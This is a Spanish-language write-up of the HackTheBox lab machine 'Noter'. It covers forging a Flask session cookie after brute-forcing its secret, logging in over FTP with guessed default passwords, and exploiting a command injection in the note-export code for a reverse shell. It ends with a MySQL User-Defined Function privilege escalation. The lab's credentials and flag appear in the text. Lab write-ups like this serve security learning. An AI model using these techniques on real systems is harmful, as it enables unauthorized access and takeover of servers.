Noter presenta un sitio web por donde obtuvimos acceso tras crackear y modificar la cookie de flask, con la información que encontramos en el sitio logramos ingresar por FTP donde descubrimos un backup, lo que nos permitió descubrir una vulnerabilidad Command Injection con la cual accedimos a la máquina. Finalmente logramos leer la flag root utilizando MySQL y acceso como root con User-Defined Functions.
Tras registrar un usuario en la aplicación vemos dos opciones, agregar nota y actualizar a VIP. Además se muestra una tabla para las notas.
Agregamos una nota la cual podemos eliminar y editar.
Tambien se muestra la nota en /notes.
XSS
Tras intentar diferentes vulnerabilidades, encontramos una vulnerabilidad XSS. Observamos que el contenido es mostrado dentro de un <textarea></textarea>.
<h1>Title</h1><small>Written by user on Sat May 14 03:50:40 2022</small><hr><div><styletype="text/css">textarea{border:none;outline:none;}</style><textareaclass="body"rows="30"cols="180"readonly> Lorem ipsum dolor sit amet, consectetur adipisicing elit, sed do eiusmod
tempor incididunt ut labore et dolore magna aliqua. Ut enim ad minim veniam,
quis nostrud exercitation ullamco laboris nisi ut aliquip ex ea commodo
consequat. Duis aute irure dolor in reprehenderit in voluptate velit esse
cillum dolore eu fugiat nulla pariatur. Excepteur sint occaecat cupidatat non
proident, sunt in culpa qui officia deserunt mollit anim id est laborum.
</textarea></div>
Editamos el cuerpo de la nota donde cerramos el textarea para luego agregar un alert.
1
2
3
4
</textarea><script>alert('XSS')</script>
Tras visitar la nota se muestra la alerta. Sin embargo el XSS no nos llevo a ninguna parte.
Web User - Blue
Cookie
Vemos que la cookie es un token JWT donde observamos el nombre del usuario.
Tambien, tras realizar logout vemos que la cookie cambia y se muestra flashes con el tipo de mensaje (success) y el mensaje. Al estar corriendo Werkzeug podriamos decir que es una aplicación Flask o Django.
Flask Unsign
HackTricks sugiere la herramienta Flask-Unsign para modificar, craftear o realizar ataque de fuerza bruta y encontrar la Secret KEY para la “session” de Flask.
Instalamos flask-unsign utilizando pip.
1
pip3 install flask-unsign
Con el wordlist rockyou logramos encontrar la secret key: secret123.
1
2
3
4
5
6
π ~/htb/noter ❯ python3 -m flask_unsign --unsign --cookie 'eyJsb2dnZWRfaW4iOnRydWUsInVzZXJuYW1lIjoidXNlciJ9.YnnysQ.O-aueBDiwkw5_52IE3KkT18vgxQ' --wordlist $ROCK --no-literal-eval
[*] Session decodes to: {'logged_in': True, 'username': 'user'}[*] Starting brute-forcer with 8 threads..
[+] Found secret key after 17152 attempts
b'secret123' π ~/htb/noter ❯
Enum Users
Con la secret key encontrada podemos craftear una session utilizando la misma estructura de la session decodificada, sin embargo no tenemos algun nombre de usuario con el cual autenticarnos. Para ello creamos un script python que utiliza flask_unsign para enumerar nombres de usuario utilizando una session.
Tras ejecutar el script con el wordlist de SecList - Usernames encontramos al usuario ‘blue’.
1
2
3
4
5
π ~/htb/noter ❯ python brute_user.py ../search/xato-net-10-million-usernames.txt
[+] Progress: Found User -> blue
[*] Cookie -> {'session': 'eyJsb2dnZWRfaW4iOnRydWUsInVzZXJuYW1lIjoiYmx1ZSJ9.Yn8gig.CedZfYO0S_ctqlesN_YncNPb_aM'} π ~/htb/noter ❯
Web Access
Tras reemplazar la cookie, vemos dos opciones nuevas para Exportar e Importar Notas.
Observamos una nueva Nota donde menciona que tenemos acceso por FTP con las credenciales que se mencionan (blue : blue@Noter!), además vemos el nombre de usuario ftp_admin.
FTP Access
FTP - Blue
Tras ingresar con las credenciales por FTP encontramos un archivo PDF.
π ~/htb/noter ❯ ftp
ftp> o 10.10.11.160
Connected to 10.10.11.160.
220(vsFTPd 3.0.3)Name (10.10.11.160:kali): blue
331 Please specify the password.
Password:
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> ls
229 Entering Extended Passive Mode (|||36129|)150 Here comes the directory listing.
drwxr-xr-x 2100210024096 May 02 23:05 files
-rw-r--r-- 11002100212569 Dec 24 20:59 policy.pdf
226 Directory send OK.
ftp> cd files
l250 Directory successfully changed.
ftp> ls
229 Entering Extended Passive Mode (|||51983|)150 Here comes the directory listing.
226 Directory send OK.
ftp> cd ..
250 Directory successfully changed.
ftp> get policy.pdf
local: policy.pdf remote: policy.pdf
229 Entering Extended Passive Mode (|||30237|)150 Opening BINARY mode data connection for policy.pdf (12569 bytes).
100% |*********************************************************************************************************************************************|12569 828.90 KiB/s 00:00 ETA
226 Transfer complete.
12569 bytes received in 00:00 (83.52 KiB/s)ftp> exit221 Goodbye.
π ~/htb/noter ❯ file policy.pdf
policy.pdf: PDF document, version 1.4, 0 pages
π ~/htb/noter ❯
El archivo PDF contiene la politica de contraseñas; protección, antigüedad y creación de estas.
En una de las definiciones encontramos que por default las contraseñas lleva el nombre del usuario y el nombre del sitio. En este caso tendríamos el caso del usuario blue que tiene la contraseña blue@Noter!, donde blue es el usuario y Noter el nombre del sitio web.
1
Default user-password generated by the application is in the format of "username@site_name!"(This applies to all your applications)
FTP - ftp_admin
Si realizamos esto mismo con el usuario ftp_admin tendriamos las siguientes credenciales.
1
ftp_admin : ftp_admin@Noter!
Logramos ingresar por ftp con las credenciales. Encontramos dos archivos zip que tienen nombre de backup.
π ~/htb/noter ❯ ftp
ftp> o 10.10.11.160
Connected to 10.10.11.160.
220(vsFTPd 3.0.3)Name (10.10.11.160:kali): ftp_admin
331 Please specify the password.
Password:
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> ls -lah
229 Entering Extended Passive Mode (|||64224|)150 Here comes the directory listing.
drwxr-xr-x 2010034096 May 02 23:05 .
drwxr-xr-x 2010034096 May 02 23:05 ..
-rw-r--r-- 11003100325559 Nov 012021 app_backup_1635803546.zip
-rw-r--r-- 11003100326298 Dec 01 05:52 app_backup_1638395546.zip
226 Directory send OK.
ftp> pwdRemote directory: /
ftp> get app_backup_1635803546.zip
local: app_backup_1635803546.zip remote: app_backup_1635803546.zip
229 Entering Extended Passive Mode (|||36436|)150 Opening BINARY mode data connection for app_backup_1635803546.zip (25559 bytes).
100% |***********************************************|25559 48.27 KiB/s 00:00 ETA
226 Transfer complete.
25559 bytes received in 00:00 (27.81 KiB/s)ftp> get app_backup_1638395546.zip
local: app_backup_1638395546.zip remote: app_backup_1638395546.zip
229 Entering Extended Passive Mode (|||56174|)150 Opening BINARY mode data connection for app_backup_1638395546.zip (26298 bytes).
100% |***********************************************************************************************************************************************|26298 228.62 KiB/s 00:00 ETA
226 Transfer complete.
26298 bytes received in 00:00 (68.21 KiB/s)ftp>
User - svc
Source Code - Noter
Tras extraer ambos archivos en carpetas separadas y ejecutar diff, encontramos una diferencia en las credenciales de MySQL, observamos la contraseña para el usuario root de MySQL. Además se muestran las rutas para exportar e importar notas, local y externamente.
Iniciamos analizando la más reciente versión del codigo fuente, donde vemos la ruta export_note, unicamente pueden acceder los usuarios con el rol VIP. Se muestran las notas de cada usuario en el template export_note.html.
# Export notes@app.route('/export_note',methods=['GET','POST'])@is_logged_indefexport_note():ifcheck_VIP(session['username']):try:cur=mysql.connection.cursor()# Get noteresult=cur.execute("SELECT * FROM notes WHERE author = %s",([session['username']]))notes=cur.fetchall()ifresult>0:returnrender_template('export_note.html',notes=notes)else:msg='No notes Found'returnrender_template('export_note.html',msg=msg)# Close connectioncur.close()exceptExceptionase:returnrender_template('export_note.html',error="An error occured!")else:abort(403)
Vemos que dicho template tiene distintas opciones, exportar la nota localmente a PDF y exportar remotamente.
{% extends 'layout.html' %}
{% block body %}
<h1>Export Notes</h1><h3>Export an existing Note</h3><br><ulclass="list-group"> {% for note in notes %}
<liclass="list-group-item"><ahref="note/{{note.id}}">{{note.title}}</a></li><aclass="btn btn-success"href="/export_note_local/{{note.id}}"> Export to PDF</a> {% endfor %}
</ul><hrstyle="background-color: #000000; height: 2px; width: 100%;"><h3>Export directly from cloud</h3><br><divclass="form-group"><formaction='/export_note_remote'method="POST"><label>URL</label><inputtype="text"name="url"class="form-control"value={{request.form.url}}><buttontype="submit"class="btn btn-success">Export</button></form></div><br><br>{% endblock %}
Vemos en la ruta para exportar localmente que acepta un id que es utilizado para obtener la nota de la base de datos y, utilizando el cuerpo de la nota como argumento se lo pasa a md-to-pdf.js junto con un numero random, esto crearía un comando que luego es ejecutado, y el archivo PDF es retornado al usuario.
# Export local@app.route('/export_note_local/<string:id>',methods=['GET'])@is_logged_indefexport_note_local(id):ifcheck_VIP(session['username']):cur=mysql.connection.cursor()result=cur.execute("SELECT * FROM notes WHERE id = %s and author = %s",(id,session['username']))ifresult>0:note=cur.fetchone()rand_int=random.randint(1,10000)command=f"node misc/md-to-pdf.js $'{note['body']}' {rand_int}"subprocess.run(command,shell=True,executable="/bin/bash")returnsend_file(attachment_dir+str(rand_int)+'.pdf',as_attachment=True)else:returnrender_template('dashboard.html')else:abort(403)
Sin embargo tras intentar exportar localmente una nota el servidor nos muestra un error interno.
En la ruta para exportar remotamente encontramos una función que verifica que la url sea válida y que termine con la extensión .md. En el caso aceptado toma el cuerpo de la solicitud como argumento y crea un comando que luego es ejecutado al igual que la anterior ruta, seguidamente retorna el PDF.
1
2
3
4
5
6
7
8
9
10
# parse the URLdefparse_url(url):url=url.lower()ifnoturl.startswith("http://"or"https://"):returnFalse,"Invalid URL"ifnoturl.endswith('.md'):returnFalse,"Invalid file type"returnTrue,None
Tras enviar la url logramos obtener una shell como svc y obtener la flag user.txt.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
π ~/htb/noter ❯ rlwrap nc -lvp 1338listening on [any]1338 ...
connect to [10.10.14.207] from 10.10.11.160 [10.10.11.160]47198/bin/sh: 0: can't access tty; job control turned off
$ which python
/usr/bin/python
$ python -c 'import pty;pty.spawn("/bin/bash");'svc@noter:~/app/web$ whoami;id;pwdsvc
uid=1001(svc)gid=1001(svc)groups=1001(svc)/home/svc/app/web
svc@noter:~/app/web$ ls
app
temp
user.txt
svc@noter:~/app/web$ cat user.txt
9ee715a75a4810327bca2bad9f18dc97
svc@noter:~/app/web$
Privesc
Tras enumerar los archivos de la máquina encontramos backup.sh el cual realiza un backup de la carpeta /app/web o Noter, aunque segun parece el directorio donde es guardado no existe, además no tenemos permisos de escritura dentro de esta carpeta (/app/web).
1
2
3
4
5
6
7
8
9
10
11
12
13
svc@noter:/opt$ ls
backup.sh
svc@noter:/opt$ ls -lah backup.sh
-rwxr--r-- 1 root root 137 Dec 30 09:41 backup.sh
svc@noter:/opt$ cat backup.sh
#!/bin/bashzip -r `echo /home/svc/ftp/admin/app_backup_$(date +%s).zip` /home/svc/app/web/* -x /home/svc/app/web/misc/node_modules/**\*svc@noter:/opt$ cdsvc@noter:~$ ls ftp/admin/
ls: cannot access 'ftp/admin/': No such file or directory
svc@noter:~$ ls -ld app/web/
drwxr-xr-x 4 root root 4096 May 2 23:05 app/web/
svc@noter:~$
Observamos que el puerto 3306 de MySQL está abierto.
Tras autenticarnos en MySQL con las credenciales encontradas, vemos que el usuario actual es root, si tomamos en cuenta que el usuario root de la máquina está ejecutando MySQL podríamos leer archivos por este medio.
svc@noter:~$ mysql -u root -p # Nildogg36Password: Nildogg36
Welcome to the MariaDB monitor. Commands end with ; or \g.
Your MariaDB connection id is 7015Server version: 10.3.32-MariaDB-0ubuntu0.20.04.1 Ubuntu 20.04
Copyright (c) 2000, 2018, Oracle, MariaDB Corporation Ab and others.
Type 'help;' or '\h'for help. Type '\c' to clear the current input statement.
MariaDB [(none)]> STATUS;--------------
mysql Ver 15.1 Distrib 10.3.32-MariaDB, for debian-linux-gnu (x86_64) using readline 5.2
Connection id: 7063Current database:
Current user: root@localhost
SSL: Not in use
Current pager: stdout
Using outfile: ''Using delimiter: ;Server: MariaDB
Server version: 10.3.32-MariaDB-0ubuntu0.20.04.1 Ubuntu 20.04
Protocol version: 10Connection: Localhost via UNIX socket
Server characterset: utf8mb4
Db characterset: utf8mb4
Client characterset: utf8mb4
Conn. characterset: utf8mb4
UNIX socket: /var/run/mysqld/mysqld.sock
Uptime: 2 hours 31 min 17 sec
Threads: 10 Questions: 37514 Slow queries: 0 Opens: 1231 Flush tables: 1 Open tables: 8 Queries per second avg: 4.132
--------------
MariaDB [(none)]>
Observamos las bases de datos vemos la base de datos test.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
MariaDB [(none)]> show databases;+--------------------+
| Database |+--------------------+
| app || information_schema || mysql || performance_schema ||test|+--------------------+
5 rows in set(0.001 sec)MariaDB [(none)]> use test;Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A
Database changed
MariaDB [test]>
Creamos una tabla para almacenar archivos e insertamos la información de /etc/passwd, vemos que se agrego a la tabla.
svc@noter:~$ ssh-keygen
Generating public/private rsa key pair.
Enter file in which to save the key (/home/svc/.ssh/id_rsa):
Created directory '/home/svc/.ssh'.
Enter passphrase (empty for no passphrase):
Enter same passphrase again:
Your identification has been saved in /home/svc/.ssh/id_rsa
Your public key has been saved in /home/svc/.ssh/id_rsa.pub
The key fingerprint is:
SHA256:UsTo71zvGuDhl8X6Jp3lFAtpYoGRHW02niSC3cpIRIY svc@noter
The key's randomart image is:
+---[RSA 3072]----+
| ++=o*.o || E.+.* = * || o o.o B + || o.o o.* . || ..S. oo. o || +.o.+ + || oo.=o=|| o..o= . || .=o |+----[SHA256]-----+
svc@noter:~$ cat .ssh/id_rsa.pub
ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQC/kmriBBdSTD8rd7ZWhQ/7gedJ+kCyBPyLcfLCukSwh6fXpvo4greAH02kZ4/jsfN87n39lKfLvHEcYmhTfuVyWApNYwMh4amPO7ej5MKo/P23ltpXSXwh8VSSxTA411Xxkd8jqwTX69QD0Y28vtNsDNU0vcnJQWB+OBhJWdui4b8nvIYuwuLi2pEhEdm1KUB2nLEI4KCtc/Kp8yZtxCV8605jJLQ2GtA88zC9TpovVIezXQy1rjwArgQaFbaV54orZOAklBbHJwm7DmozDZEFS/b5xI+8ydLLYHLPcYxgrU/anqtv7MudygBQ4TK8jCt4oQy/P7SbmYOkKaVbvPaZk0i8CquZ1ZNQzHH9/khAzUNfSBKSxVxBuouDUhQ6D0qWI7O9Ze/k072BqDexcJWnB9Vb4/hRACoiiThvYODLqfgkP5wkVjm6zDUvpygObsya9BJwIU/98lZJUvoakLedEZWjrPILZYuprMkJzvwq+Ld3mNwkkgX7OdUWi47m60E= svc@noter
svc@noter:~$
Al parecer por seguridad mysql no permite escribir dentro de archivos existentes.
Multiples post (1,2,3, 4, 5) definen las User-Defined Functions como una forma para escalar privilegios, agregando o creando estas funciones a MySQL las cuales utilizan codigo externo. Para ello se deben de cumplir algunos requisitos.
MySQL en ejecución como root.
Acceso como ‘root’ a MySQL.
Variable secure_file_priv debe de estar desactivada, lo que permitiría importar o exportar información.
En este caso asumimos que MySQL está corriendo como root, ya que es posible acceder a archivos como /etc/shadow, /root/root.txt, /root/.ssh/authorized_keys (archivo vacio). El segundo requisito se cumple ya que tenemos acceso como root con las credenciales encontradas en el backup. Finalmente podemos obtener el valor de secure_file_priv el cual está vacio lo que significa que tenemos permitido importar o exportar.
1
2
3
4
5
6
7
8
9
MariaDB [(none)]> SHOW VARIABLES LIKE 'secure_file_priv';+------------------+-------+
| Variable_name | Value |+------------------+-------+
| secure_file_priv ||+------------------+-------+
1 row in set(0.003 sec)MariaDB [(none)]>
Creamos una UDF Function siguiendo los pasos de este post. Descargamos y compilamos la libreria compartida.
Utilizamos la base de datos mysql donde vemos el directorio de la variable plugin.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
MariaDB [(none)]> use mysql;Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A
Database changed
MariaDB [mysql]> show variables like '%plugin%';+-----------------+---------------------------------------------+
| Variable_name | Value |+-----------------+---------------------------------------------+
| plugin_dir | /usr/lib/x86_64-linux-gnu/mariadb19/plugin/ || plugin_maturity | gamma |+-----------------+---------------------------------------------+
2 rows in set(0.002 sec)MariaDB [mysql]>
Se crea una tabla donde se guarda el contenido de la libreria para luego crear el archivo de la UDF en el directorio de la variable anterior. Finalmente se crea la función do_system(). Se verifica que dicha función fue creada.